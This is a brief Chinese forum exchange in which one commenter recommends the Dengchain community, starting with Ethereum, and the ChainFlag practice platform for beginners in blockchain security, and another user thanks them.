  可以去登链社区寻找一些学习资料，初始阶段从以太坊网络开始学起，最好能够进入区块链行业自己深入了解学习和体验，刷题平台有一个chainflag比较适合入门。
  
  回复
  1. unpWn4bl3 · 2023-01-11 20:31
    
    了解了，感谢师傅的建议:)
    
    回复